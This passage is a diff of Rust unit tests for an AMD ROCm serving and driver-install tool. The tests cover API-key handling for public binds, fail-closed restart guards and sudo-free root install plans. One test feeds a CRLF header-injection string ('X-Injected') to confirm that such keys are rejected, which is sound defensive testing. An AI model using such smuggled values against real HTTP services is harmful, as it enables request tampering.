fn resolve_endpoint_auth_public_uses_supplied_key_trimmed() { + let key = resolve_endpoint_auth("0.0.0.0", Some(" my-key "), false) + .unwrap() + .expect("public bind must have a key"); + assert_eq!(key, "my-key"); } #[test] - fn read_drm_vram_usage_skips_a_card_with_an_unreadable_used_counter() { - // A card whose `mem_info_vram_used` cannot be read must not be treated as - // 0 bytes used (100% free) — that would make a broken counter look like - // the ideal `--gpu auto` pick. It should be skipped entirely instead. - let root = - std::env::temp_dir().join(format!("rocm-drm-vram-unreadable-{}", std::process::id())); - let _ = fs::remove_dir_all(&root); - let device = root.join("card0").join("device"); - fs::create_dir_all(&device).unwrap(); - fs::write(device.join("vendor"), "0x1002\n").unwrap(); - fs::write(device.join("mem_info_vram_total"), "206158430208\n").unwrap(); - // No `mem_info_vram_used` file written at all. + fn resolve_endpoint_auth_public_generates_key_when_absent() { + let key = resolve_endpoint_auth("0.0.0.0", None, false) + .unwrap() + .expect("public bind must generate a key"); + assert_eq!(key.len(), 48); + assert!(key.chars().all(|c| c.is_ascii_alphanumeric())); + } - let rows = read_drm_vram_usage(&root); - let _ = fs::remove_dir_all(&root); + #[test] + fn resolve_endpoint_auth_public_rejects_empty_supplied_key() { + let error = resolve_endpoint_auth("0.0.0.0", Some(" "), false).unwrap_err(); + assert!(error.to_string().contains("non-empty"), "{error:#}"); + } - assert!( - rows.is_empty(), - "a card with no readable used counter must be skipped: {rows:?}" - ); + #[test] + fn resolve_endpoint_auth_public_rejects_embedded_crlf() { + // A supplied key survives `trim()` with embedded CR/LF intact and would + // otherwise be interpolated into a raw `Authorization: Bearer` header, + // injecting an extra header line. It must be rejected at input validation. + for supplied in [ + "good-key\r\nX-Injected: value", + "good-key\nmore", + "line\rreturn", + ] { + let error = resolve_endpoint_auth("0.0.0.0", Some(supplied), false).unwrap_err(); + assert!(error.to_string().contains("control character"), "{error:#}"); + } } #[test] - fn read_drm_vram_usage_is_empty_without_a_drm_tree() { - let missing = std::env::temp_dir().join("rocm-drm-vram-absent-98765"); - let _ = fs::remove_dir_all(&missing); - assert!(read_drm_vram_usage(&missing).is_empty()); + fn drop_orphaned_endpoint_key_on_already_running_clears_stored_key() { + let (root, paths) = test_paths("drop-orphaned-key-stored"); + let service_id = "svc-orphaned"; + endpoint_keys::store_endpoint_api_key(&paths, service_id, "secret-key").unwrap(); + + drop_orphaned_endpoint_key_on_already_running(&paths, service_id, Some("secret-key")); + + assert_eq!(endpoint_keys::endpoint_api_key(&paths, service_id), None); + assert!(!endpoint_keys::endpoint_key_file_path(&paths, service_id).exists()); + let _ = fs::remove_dir_all(root); } #[test] - fn gpu_low_memory_warning_flags_busy_selected_gpu() { - let usage = [vram(0, 182_000, 192_000), vram(1, 1_000, 192_000)]; - let warning = gpu_low_memory_warning(&[0], Some(&usage)).expect("warning for busy GPU 0"); - assert!(warning.contains("GPU 0")); - assert!(warning.contains("free")); - assert!(gpu_low_memory_warning(&[1], Some(&usage)).is_none()); - assert!(gpu_low_memory_warning(&[0], None).is_none()); + fn drop_orphaned_endpoint_key_on_already_running_is_noop_for_loopback() { + // A loopback attempt never stores a key (`freshly_stored == None`), so the + // helper must not panic or error, and no file must appear. + let (root, paths) = test_paths("drop-orphaned-key-loopback"); + let service_id = "svc-loopback"; + + drop_orphaned_endpoint_key_on_already_running(&paths, service_id, None); + + assert_eq!(endpoint_keys::endpoint_api_key(&paths, service_id), None); + assert!(!endpoint_keys::endpoint_key_file_path(&paths, service_id).exists()); + let _ = fs::remove_dir_all(root); } - fn host_gpu(gfx_target: &str) -> rocm_core::HostGpuSummary { - rocm_core::HostGpuSummary { - gfx_target: Some(gfx_target.to_owned()), - ..rocm_core::HostGpuSummary::default() - } + #[test] + fn public_bind_fails_closed_for_windows_lemonade_only() { + // Windows + Lemonade + public bind: refuse (cannot enforce the key). + let error = ensure_public_bind_engine_supported("lemonade", true, true).unwrap_err(); + assert!(error.to_string().contains("lemonade"), "{error:#}"); + // Every other combination is allowed: + ensure_public_bind_engine_supported("vllm", true, true).unwrap(); // vLLM enforces auth on Windows + ensure_public_bind_engine_supported("lemonade", true, false).unwrap(); // non-Windows + ensure_public_bind_engine_supported("lemonade", false, true).unwrap(); // loopback needs no key } #[test] - fn unified_memory_apu_suppresses_the_vram_capacity_warning() { - // Strix Halo as reported by amd-smi: a 4 GiB BIOS carveout with 1.6 GiB - // free (40%, under the 90% bar) on a machine whose engine actually - // serves out of ~128 GiB of shared system RAM. The old reading — - // "only 1.6 GiB of 4.0 GiB free" — describes a pool the allocator does - // not use, so it must not reach the user. - let carveout = [vram(0, 2_458, 4_096)]; + fn a_public_bind_is_refused_with_the_command_that_restores_it() { + // `resolve_endpoint_auth` mints a key for every non-loopback bind whether + // or not auth was demanded, so deriving `requires_api_key` from key-file + // presence marked ordinary public binds as having asked for it. The guard + // tests that field first, so those services were refused with a message + // naming a flag they never passed and a relaunch command that drops + // `--allow-public-bind` — coming back on loopback instead. + // + // A plain `--host 0.0.0.0 --allow-public-bind` launch: key file present, + // `--require-api-key` never passed. + let error = ensure_public_service_has_endpoint_key("0.0.0.0", false, false) + .expect_err("a public bind with no key must be refused"); + let rendered = format!("{error:#}"); assert!( - gpu_low_memory_warning(&[0], Some(&carveout)).is_some(), - "the underlying threshold still trips; only the serve-plan wrapper withholds it" + rendered.contains("--allow-public-bind"), + "the refusal must name the command that restores the public bind: {rendered}" ); - assert_eq!( - serve_gpu_low_memory_warning(&[0], Some(&carveout), Some(&host_gpu("gfx1151"))), - None + assert!( + !rendered.contains("--require-api-key"), + "a service that never passed the flag must not be told it did: {rendered}" + ); + + // And the loopback-with-forced-auth case still reports its own reason. + let error = ensure_public_service_has_endpoint_key("127.0.0.1", false, true) + .expect_err("a service that demanded auth must not come back without it"); + assert!( + format!("{error:#}").contains("--require-api-key"), + "{error:#}" ); } #[test] - fn discrete_gpu_still_warns_when_genuinely_busy() { - let busy = [vram(0, 182_000, 192_000)]; - let warning = serve_gpu_low_memory_warning(&[0], Some(&busy), Some(&host_gpu("gfx1100"))) - .expect("a discrete card that is 95% full still warrants a warning"); - assert!(warning.contains("GPU 0")); - assert!(warning.contains("`--gpu `")); + fn restarting_a_keyless_public_service_names_the_public_bind_not_the_key_flag() -> Result<()> { + // The same defect at a real call site rather than through the guard's own + // arguments. `restart` reads `requires_api_key` off the record on disk, so + // a record written by an ordinary public-bind launch must not claim the + // service asked for `--require-api-key` — the branch order means a record + // that claims it wins, and its remediation drops `--allow-public-bind`. + let (root, paths) = test_paths("restart-public-no-key"); + paths.ensure()?; + let mut record = ManagedServiceRecord::new( + &paths, + "vllm-public-2000", + "vllm", + "qwen", + "qwen-canonical", + "0.0.0.0", + 12000, + "managed", + std::process::id(), + None, + None, + None, + ); + // What a plain `--host 0.0.0.0 --allow-public-bind` launch records: the + // bind is public, and the flag was never passed. + record.requires_api_key = false; + record.write()?; - // Baseline: the same discrete card, mostly free, stays quiet. - let idle = [vram(0, 1_000, 192_000)]; - assert_eq!( - serve_gpu_low_memory_warning(&[0], Some(&idle), Some(&host_gpu("gfx1100"))), - None + // No key file: the situation after a stop, which drops it. + let error = restart_internal_managed_service(&paths, "vllm-public-2000") + .expect_err("a keyless public service must not be restarted"); + let rendered = format!("{error:#}"); + assert!( + rendered.contains("--allow-public-bind"), + "the refusal must name the command that brings it back public: {rendered}" + ); + assert!( + !rendered.contains("--require-api-key"), + "a service that never passed the flag must not be told it did: {rendered}" ); - } - #[test] - fn apu_verdict_does_not_silence_a_second_gpu() { - // `gfx_is_apu_family` classifies a part, while host detection reports one - // target for the whole machine. On an APU+dGPU laptop that target cannot - // be attributed to the selected ordinal, so the warning must survive - // rather than be suppressed on the discrete card's behalf. - let hybrid = [vram(0, 2_458, 4_096), vram(1, 182_000, 192_000)]; + // The refusal happens before the stop, so the service is left alone. assert!( - serve_gpu_low_memory_warning(&[1], Some(&hybrid), Some(&host_gpu("gfx1151"))).is_some() + load_managed_service(&paths, "vllm-public-2000").is_ok(), + "a refused restart must not have removed the record" ); - assert!(vram_capacity_is_meaningful(Some("gfx1151"), 2)); - // An unknown target is never treated as unified memory. - assert!(vram_capacity_is_meaningful(None, 1)); + let _ = fs::remove_dir_all(root); + Ok(()) } - /// Every distro whose plan actually emits privileged commands, so the - /// escalation tests below sweep all of them rather than whichever one was - /// remembered. Adding a distro to the planner without adding it here would - /// leave its commands unswept. - fn dkms_planning_os_releases() -> Vec<(&'static str, &'static str)> { - vec![ - ( - "ubuntu", - "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", - ), - ("debian", "ID=debian\nVERSION_ID=\"12\"\n"), - ("rhel", "ID=rhel\nVERSION_ID=\"9.7\"\n"), - ("rhel-8", "ID=rhel\nVERSION_ID=\"8.10\"\n"), - ("oracle", "ID=ol\nVERSION_ID=\"9.7\"\n"), - ("rocky", "ID=rocky\nVERSION_ID=\"9.4\"\n"), - ("sles", "ID=sles\nVERSION_ID=\"15.7\"\n"), - ( - "almalinux-via-id-like", - "ID=almalinux\nVERSION_ID=\"9.4\"\nID_LIKE=\"rhel centos fedora\"\n", - ), - ] - } + #[test] + fn respawn_fails_closed_for_a_public_service_whose_key_is_gone() { + // A stop deletes the key file, so a later restart of a public service + // would otherwise respawn it with no auth at all. + let error = ensure_public_service_has_endpoint_key("0.0.0.0", false, false).unwrap_err(); + let message = error.to_string(); + assert!(message.contains("0.0.0.0"), "{error:#}"); + assert!(message.contains("without authentication"), "{error:#}"); + // Actionable: name the command that mints a fresh key. + assert!(message.contains("--allow-public-bind"), "{error:#}"); - fn plan_commands(os_release: &str, escalation: PrivilegeEscalation) -> Vec { - build_driver_install_plan(&test_examine("linux", false), os_release, true, escalation) - .commands - .into_iter() - .map(|command| command.command) - .collect() + // A public service that still has its key restarts normally. + ensure_public_service_has_endpoint_key("0.0.0.0", true, false).unwrap(); } #[test] - fn driver_plan_as_root_never_emits_sudo() { - // The defect: every command was prefixed `sudo` unconditionally, so on a - // root host without the binary the first one died with `sudo: not found` - // before any driver work. This asserts the ABSENCE of `sudo` across every - // distro rather than checking known commands one by one — a templating - // site missed on some distro fails here instead of shipping. - for (label, os_release) in dkms_planning_os_releases() { - let commands = plan_commands(os_release, PrivilegeEscalation::AlreadyRoot); - assert!( - !commands.is_empty(), - "{label}: expected a dkms plan to emit commands" - ); - for command in &commands { - assert!( - !command.contains("sudo"), - "{label}: a plan built as root must not invoke sudo, got `{command}`" - ); - } + fn respawn_allows_loopback_services_without_an_endpoint_key() { + // Loopback stays credential-free, so every accepted spelling must pass + // the guard with no key present — when nothing asked for auth. + for host in ["127.0.0.1", "localhost", "::1"] { + ensure_public_service_has_endpoint_key(host, false, false) + .unwrap_or_else(|error| panic!("{host} must not require a key: {error:#}")); } } #[test] - fn driver_plan_off_root_still_escalates_every_privileged_command() { - // The other half of the contract: dropping `sudo` when root must not drop - // it when a normal user runs the same plan. Verify-phase commands are - // read-only probes and are deliberately unprivileged, so only the - // mutating phases are required to escalate. - for (label, os_release) in dkms_planning_os_releases() { - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, - ); - let privileged: Vec<&DriverPlanCommand> = plan - .commands - .iter() - .filter(|command| { - matches!( - command.phase, - DriverCommandPhase::Prepare | DriverCommandPhase::Execute - ) - }) - .collect(); - assert!(!privileged.is_empty(), "{label}: expected privileged steps"); - for command in privileged { - assert!( - command.command.contains("sudo "), - "{label}: a plan built off root must escalate, got `{}`", - command.command - ); - } + fn respawn_refuses_a_loopback_service_that_was_launched_with_a_key() { + // The hole this closes: a loopback bind that something else republishes + // — a tailnet publish, a proxy, a container port map. The publish + // outlives the process, so a restart after the key was dropped would + // reopen a reachable endpoint with no authentication, and the bind + // address gives the guard no way to notice. + for host in ["127.0.0.1", "localhost", "::1"] { + let error = ensure_public_service_has_endpoint_key(host, false, true) + .expect_err("a service launched with a key must not restart without one"); + let message = format!("{error:#}"); + assert!(message.contains("without authentication"), "{message}"); + assert!(message.contains("--require-api-key"), "{message}"); } + + // With its key still present it restarts normally. + ensure_public_service_has_endpoint_key("127.0.0.1", true, true).unwrap(); } #[test] - fn driver_plan_as_root_keeps_shell_pipelines_intact() { - // `sudo` also appears mid-pipeline (`| sudo tee`, `| sudo gpg`), which a - // naive "strip a leading prefix" fix would miss. The pipeline must survive - // with the escalation removed from the right-hand side only. - let ubuntu = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; - let commands = plan_commands(ubuntu, PrivilegeEscalation::AlreadyRoot); - assert!( - commands - .iter() - .any(|command| command.contains("| tee /etc/apt/sources.list.d/amdgpu.list")), - "the apt-source pipeline must still tee, unprefixed: {commands:?}" + fn restart_refuses_a_public_service_without_a_key_before_stopping_it() { + // The guard runs before the stop, so a refused restart must leave the + // record exactly as it was rather than taking down a running service. + let (root, paths) = test_paths("restart-public-no-key"); + let service_id = "svc-public-nokey"; + let mut record = ManagedServiceRecord::new( + &paths, + service_id, + "vllm", + "model-ref", + "canonical/model", + "0.0.0.0", + 11435, + "managed", + std::process::id(), + None, + None, + Some("gpu_required".to_owned()), ); + record.status = "running".to_owned(); + record.write().unwrap(); + + let error = restart_internal_managed_service(&paths, service_id).unwrap_err(); assert!( - commands - .iter() - .any(|command| command.contains("| gpg --dearmor -o /etc/apt/keyrings/rocm.gpg")), - "the keyring pipeline must still call gpg, unprefixed: {commands:?}" + error.to_string().contains("without authentication"), + "{error:#}" + ); + + // Proves the *ordering*, not just the refusal: had the guard run after + // `stop_internal_managed_service`, the stop would have written + // "stopped". It reaches that state here because the record's only pid is + // the test's own (`engine_pid` is None and `terminate_recorded_service_pids` + // skips the caller's pid), so the stop confirms termination trivially. + let after = load_managed_service(&paths, service_id).unwrap(); + assert_ne!( + after.status, "stopped", + "a refused restart must not stop the service" + ); + let _ = fs::remove_dir_all(root); + } + + /// A public record with a dead pid and a stored endpoint key, for the + /// liveness-refresh cases below. The port is one nothing listens on, so the + /// refresh's endpoint probe fails and it falls through to the pid check. + fn dead_public_service_with_key( + paths: &AppPaths, + service_id: &str, + port: u16, + ) -> ManagedServiceRecord { + paths.ensure().unwrap(); + let mut record = ManagedServiceRecord::new( + paths, + service_id, + "vllm", + "model-ref", + "canonical/model", + "0.0.0.0", + port, + "managed", + // A pid far above any plausible live process, as in + // `dead_managed_service_allows_relaunch`. + 999_999_999, + None, + None, + None, ); + record.status = "running".to_owned(); + record.write().unwrap(); + endpoint_keys::store_endpoint_api_key(paths, service_id, "secret-key").unwrap(); + record } #[test] - fn driver_plan_records_the_commands_it_will_actually_run() { - // `execution_commands()` is what lands in state.json. It must agree with - // the escalation the plan was built under, or the recorded history - // describes commands that never ran. - let ubuntu = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; - let as_root = build_driver_install_plan( - &test_examine("linux", false), - ubuntu, - true, - PrivilegeEscalation::AlreadyRoot, + fn crashed_public_service_keeps_its_endpoint_key() { + // A crash (OOM kill, host reboot, panic) leaves the record at "running" + // with dead pids and no stop marker. Dropping the key here would make + // the fail-closed respawn guards refuse every later `rocm services + // restart` and every daemon recovery attempt — permanently, because + // nothing can re-mint the key. The refresh happens on every read + // (`rocm services list`), so this must survive it. + let (root, paths) = test_paths("liveness-crash-keeps-key"); + let service_id = "svc-crashed-public"; + let mut record = dead_public_service_with_key(&paths, service_id, 11982); + + let changed = refresh_managed_service_runtime_liveness(&paths, &mut record); + + assert!(changed, "a dead service must be demoted to stopped"); + assert_eq!(record.status, "stopped"); + assert_eq!( + endpoint_keys::endpoint_api_key(&paths, service_id).as_deref(), + Some("secret-key"), + "a crashed public service must stay restartable" ); - assert!( - as_root - .execution_commands() - .iter() - .all(|command| !command.contains("sudo")), - "state.json must not record sudo commands for a root run" + let _ = fs::remove_dir_all(root); + } + + #[test] + fn unconfirmed_stop_clears_the_endpoint_key_once_the_processes_are_gone() { + // The other half: a stop that could not confirm termination leaves the + // key in place (the engine may still be alive and enforcing it) and + // records the intent. Once the processes are observed gone, the deferred + // cleanup runs, so no plaintext secret is stranded for a service the + // operator did ask to stop. + let (root, paths) = test_paths("liveness-pending-stop-clears-key"); + let service_id = "svc-pending-stop"; + let mut record = dead_public_service_with_key(&paths, service_id, 11983); + record.stop_requested_unix_ms = Some(1); + + let changed = refresh_managed_service_runtime_liveness(&paths, &mut record); + + assert!(changed); + assert_eq!(record.status, "stopped"); + assert_eq!( + endpoint_keys::endpoint_api_key(&paths, service_id), + None, + "a requested stop must still drop the key" ); - let off_root = build_driver_install_plan( - &test_examine("linux", false), - ubuntu, - true, - PrivilegeEscalation::Sudo, + assert_eq!( + record.stop_requested_unix_ms, None, + "the marker is consumed, so the cleanup does not run again" ); + let _ = fs::remove_dir_all(root); + } + + #[test] + fn pending_stop_cleanup_runs_even_once_the_record_reads_stopped() { + // Proves the cleanup sits *before* the `managed_service_is_live` gate: + // a record that reached "stopped" by another route (an engine state + // refresh, a concurrent writer) would otherwise early-return and strand + // the key of a service the operator stopped. + let (root, paths) = test_paths("liveness-pending-stop-when-stopped"); + let service_id = "svc-pending-stop-stopped"; + let mut record = dead_public_service_with_key(&paths, service_id, 11984); + record.status = "stopped".to_owned(); + record.stop_requested_unix_ms = Some(1); + + let changed = refresh_managed_service_runtime_liveness(&paths, &mut record); + assert!( - off_root - .execution_commands() - .iter() - .all(|command| command.contains("sudo ")), - "state.json must record the sudo commands a non-root run performs" + changed, + "consuming the marker is a record change worth writing" ); + assert_eq!(endpoint_keys::endpoint_api_key(&paths, service_id), None); + assert_eq!(record.stop_requested_unix_ms, None); + let _ = fs::remove_dir_all(root); } #[test] - fn driver_plan_as_root_drops_the_sudo_binary_precondition() { - // The preflight claimed `sudo` must be installed even when the plan no - // longer uses it — the same contradiction the bug report called out - // between the stated preconditions and what execution actually did. - for (label, os_release) in dkms_planning_os_releases() { - let as_root = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::AlreadyRoot, - ); - assert!( - !as_root - .preflight_checks - .iter() - .any(|check| check.contains("`sudo` command is available")), - "{label}: a root plan must not require a sudo binary: {:?}", - as_root.preflight_checks - ); - let off_root = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, - ); - assert!( - off_root - .preflight_checks - .iter() - .any(|check| check.contains("`sudo` command is available")), - "{label}: a non-root plan still depends on a sudo binary" - ); - } + fn endpoint_client_config_shows_key_once_with_bearer_guidance() { + let rendered = render_endpoint_client_config("http://0.0.0.0:11435/v1", "secret-123"); + assert!(rendered.contains("secret-123"), "{rendered}"); + assert!(rendered.contains("Authorization: Bearer"), "{rendered}"); + assert!(rendered.contains("shown only now"), "{rendered}"); } - /// The `ROCM_E2E_FORCE_LOW_VRAM` hook must synthesize a reading that actually - /// trips the serve-plan low-VRAM warning on a non-APU (vLLM-lane) host, and - /// stay inert when the var is unset. This is what the `@requires-gpu` - /// `serve-vllm-low-vram-oom-guidance` scenario relies on to fire the note - /// deterministically on cards that are really free. - #[cfg(feature = "e2e-test-hooks")] #[test] - fn forced_low_vram_hook_trips_the_serve_plan_warning() { - let mut env = ScopedTestEnv::new(); + fn sdk_install_auto_engine_selection_prefers_vllm_for_supported_families() { + // vLLM is unsupported on native Windows, so the SDK family preference is gated + // off there and resolves to None. + let expected = if cfg!(windows) { None } else { Some("vllm") }; + assert_eq!(preferred_engine_for_sdk_family("gfx90a"), expected); + assert_eq!(preferred_engine_for_sdk_family("gfx94X-dcgpu"), expected); + assert_eq!(preferred_engine_for_sdk_family("gfx120X-all"), None); + } - // Unset: the hook contributes nothing and real telemetry is consulted. - env.clear("ROCM_E2E_FORCE_LOW_VRAM"); + #[test] + fn serve_notes_surface_the_ignored_engine_flag_in_summary_mode() { + // The interactive summary is what a default `rocm serve` prints, so a flag + // the selected engine cannot honor has to be reported through this path — + // not only on the plan path that an interactive run never takes. + let note = "--gpu-memory-utilization applies only to vLLM; ignored for engine 'lemonade'"; + let notes = collect_serve_notes( + false, + &GpuSelection::Auto, + false, + &[0], + None, + Some(note), + None, + false, + ); assert!( - simulated_low_vram_usage().is_none(), - "no override without the env var" + notes.iter().any(|entry| entry == note), + "the ignored-flag note must reach the summary: {notes:?}" ); - // Set to ordinal 0: a single near-full device that the serve-plan wrapper - // reports on a discrete (non-APU) host but that stays honest there. - env.set("ROCM_E2E_FORCE_LOW_VRAM", "0"); - let forced = simulated_low_vram_usage().expect("override present when the var is set"); - assert_eq!( - forced.len(), - 1, - "single synthetic GPU keeps the APU guard honest" + let quiet = collect_serve_notes( + false, + &GpuSelection::Auto, + false, + &[0], + None, + None, + None, + false, ); - assert_eq!(forced[0].index, 0); assert!( - forced[0] - .free_fraction() - .is_some_and(|f| f < AUTO_FREE_VRAM_FRACTION), - "the synthetic reading must be below the free-VRAM bar so the warning fires" + !quiet + .iter() + .any(|entry| entry.contains("--gpu-memory-utilization")), + "nothing to report when the flag was honored: {quiet:?}" ); - let warning = serve_gpu_low_memory_warning(&[0], Some(&forced), Some(&host_gpu("gfx1100"))) - .expect("a near-full discrete card warrants the serve-plan warning"); - assert!(warning.contains("GPU 0")); } #[test] - fn driver_plan_ubuntu_2404_uses_official_dkms_commands() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, + fn serve_notes_pair_low_vram_with_the_vllm_utilization_hint() { + // A busy discrete card that trips the low-VRAM warning: on vLLM the note + // must also carry the concrete `--gpu-memory-utilization` workaround, so + // the interactive summary tells the user how to avoid the OOM. + let busy = [vram(0, 182_000, 192_000)]; + let notes = collect_serve_notes( + false, + &GpuSelection::Auto, + false, + &[0], + Some(&busy), + None, + Some(&host_gpu("gfx1100")), true, - PrivilegeEscalation::Sudo, - ); - let commands = plan - .commands - .iter() - .map(|command| command.command.as_str()) - .collect::>(); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - assert!( - plan.preflight_checks - .iter() - .any(|check| check.contains("sudo -v")) ); assert!( - commands - .iter() - .any(|command| command.contains("linux-headers-$(uname -r)")) + notes.iter().any(|entry| entry.contains("has only")), + "the low-VRAM warning must be present: {notes:?}" ); assert!( - commands + notes .iter() - .any(|command| command.contains("linux-modules-extra-$(uname -r)")) + .any(|entry| entry.contains("--gpu-memory-utilization")), + "vLLM low-VRAM notes must hint the utilization workaround: {notes:?}" ); + + // The literal fragments the GPU-lane scenario + // `@id:serve-vllm-low-vram-oom-guidance` matches on. That scenario runs + // only where a real card exists, so pin the wording here too: a rename + // then fails on every lane rather than silently on the one lane that can + // observe it. `GPU 0 has only` is what makes the warning provably about + // the *pinned* device; `vLLM reserves ~90%` is what distinguishes the + // pre-launch hint from any other line that merely names the flag. assert!( - commands - .iter() - .any(|command| command.contains("repo.radeon.com/graphics")) + notes.iter().any(|entry| entry.contains("GPU 0 has only")), + "the warning must name the selected GPU: {notes:?}" ); assert!( - commands + notes .iter() - .any(|command| command.contains("amdgpu-dkms")) + .any(|entry| entry.contains("vLLM reserves ~90%")), + "the hint must explain vLLM's total-VRAM reservation: {notes:?}" ); - let rendered = render_driver_install_plan(&plan, false, false); - assert!(rendered.contains("approval: required")); - assert!(rendered.contains("preflight_checks:")); - assert!(rendered.contains("root access: run as root, or ensure `sudo -v` succeeds")); - assert!(rendered.contains("execution_commands:")); - assert!(rendered.contains("Prepare: sudo apt-get update")); - assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); - assert!(rendered.contains("post_reboot_check_commands:")); - assert!(rendered.contains("dkms status amdgpu")); - assert!(rendered.contains("rerun with --yes")); - } - - #[test] - fn driver_plan_executor_runs_verify_after_execute() -> Result<()> { - let mut plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - plan.commands = vec![ - driver_command(DriverCommandPhase::Prepare, "prepare"), - driver_command(DriverCommandPhase::Execute, "execute"), - driver_command(DriverCommandPhase::Verify, "verify"), - ]; - let mut state = DriverInstallState { - approved_at_unix_ms: 1, - executed_at_unix_ms: None, - pre_driver: test_examine("linux", true).driver, - post_driver: None, - boot_id_at_execution: Some("boot".to_owned()), - reboot_required: plan.reboot_required, - reboot_observed: false, - commands: plan.execution_commands(), - reconciled_at_unix_ms: None, - reconciliation: None, - }; - let mut observed = Vec::new(); - - execute_driver_install_plan( - &plan, - &mut state, - |command| { - observed.push(command.to_owned()); - Ok(()) - }, - |_| Ok(()), - || Ok(test_examine("linux", true).driver), - )?; - - assert_eq!(observed, ["prepare", "execute", "verify"]); - assert!(state.executed_at_unix_ms.is_some()); - Ok(()) - } - #[test] - fn driver_plan_executor_defers_verify_when_reboot_is_required() -> Result<()> { - let plan = build_driver_install_plan( - &test_examine("linux", false), - "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", - true, - PrivilegeEscalation::Sudo, + // The same busy card on a non-vLLM engine keeps the warning but omits the + // vLLM-only knob, which that engine cannot honor. + let lemonade = collect_serve_notes( + false, + &GpuSelection::Auto, + false, + &[0], + Some(&busy), + None, + Some(&host_gpu("gfx1100")), + false, ); - assert!(plan.reboot_required); - let expected = plan.execution_commands(); - let verify_commands = plan - .commands - .iter() - .filter(|command| command.phase == DriverCommandPhase::Verify) - .map(|command| command.command.clone()) - .collect::>(); - let mut state = DriverInstallState { - approved_at_unix_ms: 1, - executed_at_unix_ms: None, - pre_driver: test_examine("linux", false).driver, - post_driver: None, - boot_id_at_execution: Some("boot".to_owned()), - reboot_required: plan.reboot_required, - reboot_observed: false, - commands: plan.execution_commands(), - reconciled_at_unix_ms: None, - reconciliation: None, - }; - let mut observed = Vec::new(); - - execute_driver_install_plan( - &plan, - &mut state, - |command| { - observed.push(command.to_owned()); - Ok(()) - }, - |_| Ok(()), - || Ok(test_examine("linux", false).driver), - )?; - - assert_eq!(observed, expected); assert!( - verify_commands - .iter() - .all(|command| !observed.contains(command)), - "reboot-gated Verify commands must be deferred: {verify_commands:?}" + lemonade.iter().any(|entry| entry.contains("has only")), + "the low-VRAM warning still fires for other engines: {lemonade:?}" ); - assert!(state.executed_at_unix_ms.is_some()); - assert!(state.reboot_required); - Ok(()) - } - - #[test] - fn failed_driver_verify_does_not_mark_execution_completed() -> Result<()> { - let (root, paths) = test_paths("driver-verify-failure-state"); - let mut plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - plan.commands = vec![ - driver_command(DriverCommandPhase::Prepare, "prepare"), - driver_command(DriverCommandPhase::Execute, "execute"), - driver_command(DriverCommandPhase::Verify, "verify"), - ]; - let mut state = DriverInstallState { - approved_at_unix_ms: 1, - executed_at_unix_ms: None, - pre_driver: test_examine("linux", true).driver, - post_driver: None, - boot_id_at_execution: Some("boot".to_owned()), - reboot_required: plan.reboot_required, - reboot_observed: false, - commands: plan.execution_commands(), - reconciled_at_unix_ms: None, - reconciliation: None, - }; - write_driver_install_state(&paths, &state)?; - let mut observed = Vec::new(); - let mut gathered = false; - - let error = execute_driver_install_plan( - &plan, - &mut state, - |command| { - observed.push(command.to_owned()); - if command == "verify" { - bail!("verification rejected the install"); - } - Ok(()) - }, - |state| write_driver_install_state(&paths, state), - || { - gathered = true; - Ok(test_examine("linux", true).driver) - }, - ) - .expect_err("failed verification must fail the install"); - let saved = read_driver_install_state(&paths)?.expect("state should remain readable"); - - assert_eq!(observed, ["prepare", "execute", "verify"]); - assert!(error.to_string().contains("driver command failed: verify")); assert!( - !gathered, - "post-install state must not be gathered after failure" + !lemonade + .iter() + .any(|entry| entry.contains("--gpu-memory-utilization")), + "non-vLLM engines must not be told to pass a vLLM-only flag: {lemonade:?}" ); - assert_eq!(state.executed_at_unix_ms, None); - assert!(state.post_driver.is_none()); - assert_eq!(saved.executed_at_unix_ms, None); - assert!(saved.post_driver.is_none()); - let _ = fs::remove_dir_all(root); - Ok(()) } #[test] - fn failed_post_driver_gather_keeps_executed_state_persisted() -> Result<()> { - let (root, paths) = test_paths("driver-gather-failure-state"); - let mut plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - plan.commands = vec![ - driver_command(DriverCommandPhase::Prepare, "prepare"), - driver_command(DriverCommandPhase::Execute, "execute"), - driver_command(DriverCommandPhase::Verify, "verify"), - ]; - let mut state = DriverInstallState { - approved_at_unix_ms: 1, - executed_at_unix_ms: None, - pre_driver: test_examine("linux", true).driver, - post_driver: None, - boot_id_at_execution: Some("boot".to_owned()), - reboot_required: plan.reboot_required, - reboot_observed: false, - commands: plan.execution_commands(), - reconciled_at_unix_ms: None, - reconciliation: None, - }; - write_driver_install_state(&paths, &state)?; - - let error = execute_driver_install_plan( - &plan, - &mut state, - |_| Ok(()), - |state| write_driver_install_state(&paths, state), - || bail!("post-driver gather failed"), - ) - .expect_err("a post-driver gather failure must still fail the install"); - let saved = read_driver_install_state(&paths)?.expect("state should remain readable"); - - assert!(error.to_string().contains("post-driver gather failed")); - assert!(saved.executed_at_unix_ms.is_some()); - assert!(saved.post_driver.is_none()); - let _ = fs::remove_dir_all(root); + fn parse_device_policy_defaults_to_gpu_required_without_cpu_fallback() -> Result<()> { + assert_eq!(parse_device_policy(None)?, DevicePolicy::GpuRequired); + assert_eq!(parse_device_policy(Some("gpu"))?, DevicePolicy::GpuRequired); + assert_eq!( + parse_device_policy(Some("gpu_preferred"))?, + DevicePolicy::GpuRequired + ); + let cpu = parse_device_policy(Some("cpu")).unwrap_err().to_string(); + assert!(cpu.contains("CPU mode is not a fallback path")); Ok(()) } - #[test] - fn driver_reconcile_without_state_gives_non_privileged_guidance() -> Result<()> { - let (root, paths) = 